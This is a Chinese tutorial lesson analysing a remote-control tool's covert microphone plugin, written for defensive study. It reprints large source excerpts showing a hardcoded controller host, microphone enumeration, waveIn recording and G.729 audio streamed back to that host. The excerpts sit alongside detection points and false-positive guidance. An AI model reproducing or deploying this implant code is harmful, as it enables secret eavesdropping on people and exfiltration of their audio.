38 / 52 音视频、代理与系统扩展

第 38 课:主插件:语音监听

# 第 38 课:主插件:语音监听

免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。

本课讲 主插件\语音监听。它和上一课的播放监听不同:播放监听采集系统正在播放的声音,本课采集麦克风或录音线路输入。源码使用 Windows 传统 waveIn 多媒体 API 打开输入设备,准备多个固定大小缓冲区,系统填满缓冲后通过 MM_WIM_DATA 消息通知录音线程,随后代码把 PCM 音频压缩成 G.729 小包并发送。

本课只做源码阅读和防御分析,不提供任何非法监听、控制或规避检测的方法。

# 1. 先把概念讲清楚

麦克风采集链路通常有四个阶段:选设备、开设备、收缓冲、编码发送。本课源码也是这个顺序。

阶段 Windows 机制 本工程对应代码
选设备 waveInGetNumDevswaveInGetDevCaps CAudioManager::Initialize
开设备 waveInOpen CWaveIn::OpenDev
收缓冲 waveInPrepareHeaderwaveInAddBufferMM_WIM_DATA CWaveIn::PerPareBufferAudioInThreadProc
编码发送 G.729 编码、网络 Send CWaveRecord::GetDataCAudioCode::EncodeAudioData

新手可以把 waveIn 理解成一套老式录音 API:程序先把空缓冲区交给系统,系统录满后发消息告诉程序“这块缓冲可以取了”。这和第 37 课的 WASAPI loopback 不同,声音来源也不同。

1. 先把概念讲清楚(配图)

# 2. 涉及源码

路径 作用
主插件\语音监听\语音监听\语音监听.cpp 插件入口,连接主控后创建 CAudioManager
主插件\语音监听\语音监听\AudioManager.h/.cpp 命令分发、设备列表发送、录音和播放对象编排
主插件\语音监听\语音监听\WaveRecord.h/.cpp 继承录音设备层,负责编码和发送音频
主插件\语音监听\语音监听\WaveIn.h/.cpp 打开输入设备、准备缓冲、接收 MM_WIM_DATA
主插件\语音监听\语音监听\AudioCode.h/.cpp G.729 编码和解码封装
主插件\语音监听\语音监听\WavePlayback.h/.cpp 接收远端音频后的播放链路
主插件\语音监听\语音监听\MixIn.h/.cpp 输入线路和混音器枚举辅助逻辑

G.729 说明: G.729 是语音压缩编码,常用于低码率语音传输。源码通过 G729a_32_d.libG729a_64_r.lib 这类静态库链接编码实现。G.729 本身是合法语音通信技术;在本工程里,它和麦克风采集、固定小包、远程发送组合出现,应按隐私外传风险分析。

# 3. 为什么这样拆类

负责什么 新手理解
CAudioManager 收主控命令,创建录音和播放对象 调度中心
CWaveRecord 拿到 PCM 后做音量处理、G.729 编码和发送 数据出口
CWaveIn 和 Windows waveIn API 打交道 设备层
CAudioCode 调用 G.729 编码/解码库 压缩层
CWavePlayback 播放收到的远端音频 下行播放方向

这样拆的原因很实际:设备层要处理线程和缓冲,编码层只关心 PCM 到 G.729 的转换,Manager 只负责命令。分开后,每一段的触发条件和防御线索也更清楚。

# 4. 插件入口:连接后创建 CAudioManager

// 源码位置:主插件\语音监听\语音监听\语音监听.cpp:8-44
struct plugInfo
{
    char mark[30];
    TCHAR szAddress[255];
    DWORD szPort;
    BOOL IsTcp;
    BOOL RunDllEntryProc;
} MyInfo = { "plugmark", _T("iamasbcx.asuscomm.com"), 6000, 1, 0 };

DWORD WINAPI MainThread(LPVOID dllMainThread)
{
    ISocketBase* socketClient;

    if (MyInfo.IsTcp == 1)
        socketClient = new CTcpSocket();
    else
        socketClient = new CUdpSocket();

    if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
    {
        // 连接成功后创建 CAudioManager。
        // 防御分析:外联成功后枚举麦克风设备,是本课第一条关联线索。
        CAudioManager manager(socketClient);
        socketClient->run_event_loop();
    }

    SAFE_DELETE(socketClient);
    if (MyInfo.RunDllEntryProc)
        ExitProcess(0);
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

# 5. Manager 构造:先枚举设备,再准备录音和播放

// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:16-28
CAudioManager::CAudioManager(ISocketBase* pClient) : CManager(pClient)
{
    m_buser = FALSE;

    // Initialize 会枚举 waveIn 输入设备,并把设备列表发给主控。
    // 防御分析:设备枚举本身不等于采集,但它是采集前置动作。
    Initialize();

    // CWaveRecord 负责从 CWaveIn 得到 PCM 后编码发送。
    m_pWaveRecord = new CWaveRecord(&m_ACode);

    // 把网络客户端传给录音对象,后续 GetData 中会直接 Send。
    // 防御分析:这里建立了“麦克风数据 -> 网络发送”的对象关系。
    m_pWaveRecord->SetCommClient(pClient);

    // 播放对象用于处理远端传来的音频,和麦克风采集方向不同。
    m_pWavePlayback = new CWavePlayback(&m_ACode);
    m_pWavePlayback->StartPlay();

    m_buser = TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

# 6. 命令入口:开始、停止、播放、音量

CAudioManager::OnReceive 把网络 token 转成麦克风动作或播放动作。这里是主控命令触发本地设备访问的关键边界。

// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:40-98
void CAudioManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
    if (lpBuffer[0] == TOKEN_HEARTBEAT)
        return;

    switch (lpBuffer[0])
    {
    case COMMAND_SEND_START:
        // 开始采集麦克风输入。
        // 防御分析:这个 token 到达后,后续应能看到 waveInOpen、waveInStart。
        if (m_pWaveRecord->StartRec())
        {
            BYTE bToken = TOKEN_START_OK;
            Send(&bToken, sizeof(BYTE));
        }
        else
        {
            BYTE bToken = TOKEN_STOP_ERROR;
            Send(&bToken, sizeof(BYTE));
        }
        break;

    case COMMAND_SEND_STOP:
        if (m_pWaveRecord->StopRec())
        {
            BYTE bToken = TOKEN_STOP_OK;
            Send(&bToken, sizeof(BYTE));
        }
        else
        {
            BYTE bToken = TOKEN_STOP_ERROR;
            Send(&bToken, sizeof(BYTE));
        }

        // 源码这里缺少 break,会继续落入 COMMAND_SEND_DATE 分支。
        // 防御分析:这是稳定性和逻辑风险,可能导致停止命令后仍把缓冲当播放数据处理。

    case COMMAND_SEND_DATE:
        // 下行播放方向:把主控传来的音频交给播放对象。
        // 这不是麦克风采集,但说明模块具备双向音频能力。
        m_pWavePlayback->Playback((char*)lpBuffer + 1, nSize - 1);
        break;

    case COMMAND_SET_IN:
    {
        // 设置输入音量倍数。它影响发送前的 PCM 数据处理。
        int m_vol = 1;
        memcpy(&m_vol, (char*)lpBuffer + 1, 4);
        m_pWaveRecord->SetVolume((float)m_vol);
    }
    break;

    case COMMAND_SET_OUT:
    {
        // 设置输出播放音量,属于下行播放方向。
        int m_vol = 1;
        memcpy(&m_vol, (char*)lpBuffer + 1, 4);
        m_pWavePlayback->SetVolume((float)m_vol);
    }
    break;
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

# 7. 设备枚举:先告诉主控有哪些输入设备

// 源码位置:主插件\语音监听\语音监听\AudioManager.cpp:101-145
bool CAudioManager::Initialize()
{
    // 查询输入设备数量。这里对应麦克风/录音设备,不是播放端点。
    UINT nDevNum = waveInGetNumDevs();
    if (nDevNum == 0)
        return false;

    WAVE_INFO Wave_Info;
    ZeroMemory(&Wave_Info, sizeof(WAVE_INFO));

    for (UINT i = 0; i < nDevNum; i++)
    {
        WAVEINCAPS tagCaps;

        // 读取设备名称,例如麦克风、阵列麦克风、虚拟输入设备等。
        // 防御分析:waveInGetDevCaps 是麦克风枚举阶段的重要信号。
        waveInGetDevCaps(i, &tagCaps, sizeof(tagCaps));

        _tcscat_s(Wave_Info.str, 1024, tagCaps.szPname);
        _tcscat_s(Wave_Info.str, 1024, _T("$"));

        if (i == 0)
        {
            // 对第一个输入设备继续枚举输入线路。
            // 防御分析:mixer 枚举说明程序不只是打开默认设备,还关心线路选择。
            int nRet = m_pWaveRecord->EnumerateInputLines(tagCaps.szPname, Wave_Info.str);
            if (nRet == -1)
            {
                Wave_Info.nIndex = 0;
                _tcscat_s(Wave_Info.str, 1024, _T("N/A@"));
            }
            else
            {
                Wave_Info.nIndex = nRet;
            }
            _tcscat_s(Wave_Info.str, 1024, _T("|"));
        }
    }

    // TOKEN_AUDIO_START 回传设备信息,让主控知道可选输入源。
    DWORD dwBytesLength = 1 + sizeof(WAVE_INFO);
    LPBYTE lpBuffer = new BYTE[dwBytesLength];
    lpBuffer[0] = TOKEN_AUDIO_START;
    memcpy(lpBuffer + 1, &Wave_Info, sizeof(WAVE_INFO));
    Send(lpBuffer, dwBytesLength);
    delete[] lpBuffer;

    return true;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

# 8. 录音启动流程:StartRec 串起四个步骤

8. 录音启动流程:StartRec 串起四个步骤(配图)

CWaveIn::StartRec 是设备层的主线。它不是一次 API 调用,而是按顺序做:启动消息线程、打开设备、准备缓冲、开始录音。

// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:181-210
BOOL CWaveIn::StartRec()
{
    BOOL bRet = FALSE;

    // 1. 启动录音消息线程。
    // waveInOpen 使用 CALLBACK_THREAD,后续 MM_WIM_DATA 会投递到这个线程。
    if (!StartThread())
        goto Exit;

    // 2. 打开输入设备。
    if (!OpenDev())
        goto Exit1;

    // 3. 准备多个 WAVEHDR 缓冲区并交给系统。
    if (!PerPareBuffer())
        goto Exit2;

    // 4. 调用 waveInStart,系统开始往缓冲区写入麦克风数据。
    if (!OpenRecord())
        goto Exit3;

    bRet = TRUE;
    goto Exit;

Exit3:
    FreeBuffer();
Exit2:
    CloseDev();
Exit1:
    StopThread();
Exit:
    return bRet;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

这种写法对新手很友好:从上到下就是录音链路的真实启动顺序。企业侧做行为关联时,也可以按这个顺序组织证据。

# 9. 打开输入设备:waveInOpen

// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:93-124
BOOL CWaveIn::OpenDev()
{
    if (m_bDevOpen)
        return FALSE;

    WAVEFORMATEX wfx;
    wfx.wFormatTag = WAVE_FORMAT_PCM;
    wfx.nChannels = m_wChannel;
    wfx.nSamplesPerSec = m_dwSample;
    wfx.nAvgBytesPerSec = m_wChannel * m_dwSample * m_wBit / 8;
    wfx.nBlockAlign = m_wBit * m_wChannel / 8;
    wfx.wBitsPerSample = m_wBit;
    wfx.cbSize = 0;

    // 先用 WAVE_FORMAT_QUERY 测试当前格式是否被设备支持。
    // 防御分析:这一步还没有真正开始录音,但说明程序在探测输入设备能力。
    m_mmr = waveInOpen(0, WAVE_MAPPER, &wfx, 0, 0, WAVE_FORMAT_QUERY);
    if (m_mmr)
        return FALSE;

    // 真正打开输入设备。
    // CALLBACK_THREAD 表示 waveIn 消息会投递到 m_dwAudioInId 指定的线程。
    // 防御分析:waveInOpen + CALLBACK_THREAD 是传统录音程序的重要行为特征。
    m_mmr = waveInOpen(
        &m_hIn,
        WAVE_MAPPER,
        &wfx,
        m_dwAudioInId,
        s_dwInstance,
        CALLBACK_THREAD);
    if (m_mmr)
        return FALSE;

    m_bDevOpen = TRUE;
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

# 10. 准备缓冲:为什么要 WAVEHDR

waveIn 的工作方式是“程序提供缓冲,系统填充缓冲”。所以在开始录音前,源码要准备多个 WAVEHDR,每个 WAVEHDR 指向一块固定大小的音频内存。

// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:226-260
BOOL CWaveIn::PerPareBuffer()
{
    if (m_bAllocBuffer)
        return FALSE;

    // 重置输入设备,清理旧状态。
    m_mmr = waveInReset(m_hIn);
    if (m_mmr)
        return FALSE;

    m_pHdr = new WAVEHDR[NUM_BUF];

    for (UINT i = 0; i < NUM_BUF; i++)
    {
        ZeroMemory(&m_pHdr[i], sizeof(WAVEHDR));

        // SIZE_AUDIO_FRAME 是每块 PCM 缓冲区大小。
        // 防御分析:固定长度音频帧会导致网络侧出现稳定大小的小包。
        m_pHdr[i].lpData = new char[SIZE_AUDIO_FRAME];
        m_pHdr[i].dwBufferLength = SIZE_AUDIO_FRAME;

        // PrepareHeader 把缓冲区交给 waveIn 设备前做初始化。
        m_mmr = waveInPrepareHeader(m_hIn, &m_pHdr[i], sizeof(WAVEHDR));
        if (m_mmr)
            return FALSE;

        // AddBuffer 把空缓冲提交给系统,等待录音数据写入。
        m_mmr = waveInAddBuffer(m_hIn, &m_pHdr[i], sizeof(WAVEHDR));
        if (m_mmr)
            return FALSE;
    }

    m_bAllocBuffer = TRUE;
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 11. 开始录音:waveInStart

// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:305-326
BOOL CWaveIn::OpenRecord()
{
    if (m_bRecord)
        return FALSE;

    if (!m_hIn)
        return FALSE;

    // waveInStart 之后,系统开始采集输入设备声音,并填充前面 AddBuffer 的缓冲区。
    // 防御分析:waveInStart 是“开始真实采集”的关键时间点。
    m_mmr = waveInStart(m_hIn);
    if (m_mmr)
        return FALSE;

    m_bRecord = TRUE;
    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

# 12. MM_WIM_DATA:系统把录满的缓冲交给程序

当系统录满一块缓冲区后,会向录音线程投递 MM_WIM_DATA。源码在这个消息里取出 PCM,再重新把缓冲交回系统循环使用。

// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp:8-44
DWORD WINAPI CWaveIn::AudioInThreadProc(LPVOID lpParameter)
{
    CWaveIn* pWaveIn = (CWaveIn*)lpParameter;
    char buffer[102400];
    MSG msg;

    while (GetMessage(&msg, 0, 0, 0))
    {
        switch (msg.message)
        {
        case MM_WIM_DATA:
        {
            WAVEHDR* pWH = (WAVEHDR*)msg.lParam;

            // 当前缓冲已完成,先取消 prepare 状态。
            waveInUnprepareHeader((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));

            // 只处理完整帧,避免半帧进入编码器。
            if (pWH->dwBytesRecorded != SIZE_AUDIO_FRAME)
                break;

            // 复制 PCM 数据,再交给上层 GetData。
            // CWaveRecord 重写了 GetData,所以这里实际会进入编码和发送逻辑。
            memcpy(buffer, pWH->lpData, pWH->dwBytesRecorded);
            pWaveIn->GetData(buffer, pWH->dwBytesRecorded);

            // 重新提交这块缓冲,继续下一轮录音。
            waveInPrepareHeader((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));
            waveInAddBuffer((HWAVEIN)msg.wParam, pWH, sizeof(WAVEHDR));
            break;
        }
        }
    }
    return (DWORD)msg.wParam;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

# 13. 编码和发送:CWaveRecord::GetData

13. 编码和发送:CWaveRecord::GetData(配图)

CWaveRecord::GetData 是麦克风数据离开本机前的关键函数。它拿到 PCM,可能先调整音量,然后调用 CAudioCode::EncodeAudioData 压缩,最后用 TOKEN_SEND_DATE 发送。

// 源码位置:主插件\语音监听\语音监听\WaveRecord.cpp:34-95
void CWaveRecord::GetData(char* pBuffer, int iLen)
{
    int iEncodeSize = 0;

    EnterCriticalSection(&cs);
    if (m_bSend)
    {
        if (m_volmultiple == 1)
        {
            // 正常路径:直接把 PCM 编码成 G.729。
            // 防御分析:这里是“麦克风 PCM -> 压缩语音包”的关键转换点。
            m_pACode->EncodeAudioData(pBuffer, iLen, m_AudioBuffer, &iEncodeSize);

            LPBYTE lpPacket = new BYTE[iEncodeSize + 1];
            lpPacket[0] = TOKEN_SEND_DATE;
            memcpy(lpPacket + 1, m_AudioBuffer, iEncodeSize);

            // 编码后的语音包通过插件网络通道发送。
            // 防御分析:固定大小 G.729 小包和 waveInStart 在同一时间窗出现时,需要重点复核。
            m_pCommClient->Send(lpPacket, iEncodeSize + 1);
            SAFE_DELETE_AR(lpPacket);
        }
        else
        {
            // 音量调整路径:先修改 PCM 幅度,再编码发送。
            // 防御分析:音量调整不是核心风险,核心仍然是采集、编码、外传。
            char* newdate = new char[iLen];
            memcpy(newdate, pBuffer, iLen);
            for (int i = 0; i < (iLen / 2); i++)
            {
                volume_adjust((short*)newdate, m_volmultiple);
                newdate += 2;
            }
            newdate = newdate - iLen;

            m_pACode->EncodeAudioData(newdate, iLen, m_AudioBuffer, &iEncodeSize);
            SAFE_DELETE_AR(newdate);

            LPBYTE lpPacket = new BYTE[iEncodeSize + 1];
            lpPacket[0] = TOKEN_SEND_DATE;
            memcpy(lpPacket + 1, m_AudioBuffer, iEncodeSize);
            m_pCommClient->Send(lpPacket, iEncodeSize + 1);
            SAFE_DELETE_AR(lpPacket);
        }
    }
    LeaveCriticalSection(&cs);

    // 调用基类逻辑。原基类里主要是调试/统计逻辑。
    CWaveIn::GetData(pBuffer, iLen);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

# 14. G.729 编码为什么出现在这里

语音数据如果直接发 PCM,流量更大;G.729 把短语音帧压成更小的包,更适合实时语音传输。源码把每个 SIZE_AUDIO_FRAME 分成 6 段,每段调用一次 va_g729a_encoder

// 源码位置:主插件\语音监听\语音监听\AudioCode.cpp:13-28,35-64
#ifdef _WIN64
#if _DEBUG
#pragma comment(lib,"G729a_64_d.lib")
#else
#pragma comment(lib,"G729a_64_r.lib")
#endif
#else
#if _DEBUG
#pragma comment(lib,"G729a_32_d.lib")
#else
#pragma comment(lib,"G729a_32_r.lib")
#endif
#endif

CAudioCode::CAudioCode()
{
    // 初始化编码器和解码器。
    // 防御分析:G729a_* 静态库和初始化函数说明进程具备语音压缩能力。
    va_g729a_init_encoder();
    va_g729a_init_decoder();
}

BOOL CAudioCode::EncodeAudioData(char* pin, int len, char* pout, int* lenr)
{
    if (!pin || len != SIZE_AUDIO_FRAME || !pout)
        return FALSE;

    // 每 160 字节 PCM 调一次编码器,输出 10 字节压缩数据。
    // 6 次调用合起来形成一个 SIZE_AUDIO_PACKED 小包。
    va_g729a_encoder((short*)pin, (BYTE*)pout);
    va_g729a_encoder((short*)(pin + 160), (BYTE*)pout + 10);
    va_g729a_encoder((short*)(pin + 320), (BYTE*)pout + 20);
    va_g729a_encoder((short*)(pin + 480), (BYTE*)pout + 30);
    va_g729a_encoder((short*)(pin + 640), (BYTE*)pout + 40);
    va_g729a_encoder((short*)(pin + 800), (BYTE*)pout + 50);

    if (lenr)
        *lenr = SIZE_AUDIO_PACKED;

    return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

企业侧不能因为看到 G.729 就直接定性。更可靠的证据链是:waveInOpen/waveInStartMM_WIM_DATAva_g729a_encoderTOKEN_SEND_DATE、持续外联同时出现。

# 15. 数据流总结

主控 COMMAND_SEND_START
  -> CAudioManager::OnReceive
    -> CWaveRecord::StartRec
      -> CWaveIn::StartThread
      -> CWaveIn::OpenDev / waveInOpen
      -> CWaveIn::PerPareBuffer / waveInPrepareHeader + waveInAddBuffer
      -> CWaveIn::OpenRecord / waveInStart
        -> MM_WIM_DATA
          -> CWaveRecord::GetData
            -> CAudioCode::EncodeAudioData
            -> TOKEN_SEND_DATE + G.729 payload
            -> Send
1
2
3
4
5
6
7
8
9
10
11
12

# 16. 风险面拆解

16. 风险面拆解(配图)

风险面 表现 企业关注点
麦克风访问 waveInOpen 打开输入设备 是否有用户授权
输入线路 mixer 枚举和线路选择 是否修改或探测录音线路
音频缓冲 固定大小 PCM 帧 是否持续产生语音帧
编码压缩 G.729 小包 是否降低流量可见性
网络外传 TOKEN_SEND_DATE 持续发送 目的地是否可信
隐私合规 环境声、会议声、客户信息 是否有明确告知和使用范围

# 17. 企业检测点

17. 企业检测点(配图)

检测层 建议检测点
主机侧 waveInGetNumDevswaveInGetDevCapswaveInOpenwaveInStart
设备侧 Windows 麦克风隐私访问记录、设备开启事件
线程侧 CALLBACK_THREAD、录音线程消息队列、MM_WIM_DATA
内存侧 SIZE_AUDIO_FRAME PCM 缓冲、G.729 编码输出缓冲
网络侧 麦克风启动后持续小包上行,token 或包长稳定
进程侧 非会议、非录音软件访问麦克风
合规侧 是否有弹窗提示、授权记录、业务工单

# 18. 误报来源

误报来源 排查方式
会议软件 核对会议时间、签名、前台窗口和用户操作
浏览器语音通话 查看站点麦克风授权
录音软件 查看用户启动记录和保存路径
语音输入法 关联输入法进程、前台输入场景
合规远程协助工具 核对工单时间、授权范围和用户可见提示

# 19. 合法练习题

  1. 只读源码,画出 StartRec -> OpenDev -> PerPareBuffer -> OpenRecord -> MM_WIM_DATA -> GetData 的流程。
  2. 对比第 37 课,说明 waveInOpenAUDCLNT_STREAMFLAGS_LOOPBACK 代表的音频来源差异。
  3. 根据 AudioManager.cpp,说明 COMMAND_SEND_STOP 缺少 break 可能带来什么稳定性问题。
  4. 设计一条检测逻辑:非白名单进程调用 waveInOpen 后出现持续 G.729 小包外联。
  5. 写出三种可能误报的合法软件,并说明如何用用户授权记录排除。

# 20. 本课小结

语音监听模块的主线是传统 waveIn 录音链路:CAudioManager 接收命令,CWaveRecord::StartRec 打开输入设备并准备缓冲,MM_WIM_DATA 把录满的 PCM 交给 GetData,再由 CAudioCode 压成 G.729 小包并通过网络发送。

防御时要重点关注组合行为:非授权进程访问麦克风、固定音频帧持续产生、G.729 编码逻辑、持续小包上行和异常外联目的地。单独看到某个音频 API 不一定异常,但这些行为和外联同时出现时,就需要进入高优先级复核。

安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。

上次更新: 2026/07/14, 19:37:40

社区交流

讨论与留言

前往 GitHub Issues →

本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。

最近更新
第 1 课:专栏导论与安全边界
07-01
第 3 课:安装编译与调试环境
07-01
第 4 课:第三方库下载、编译与依赖管理
07-01
更多文章>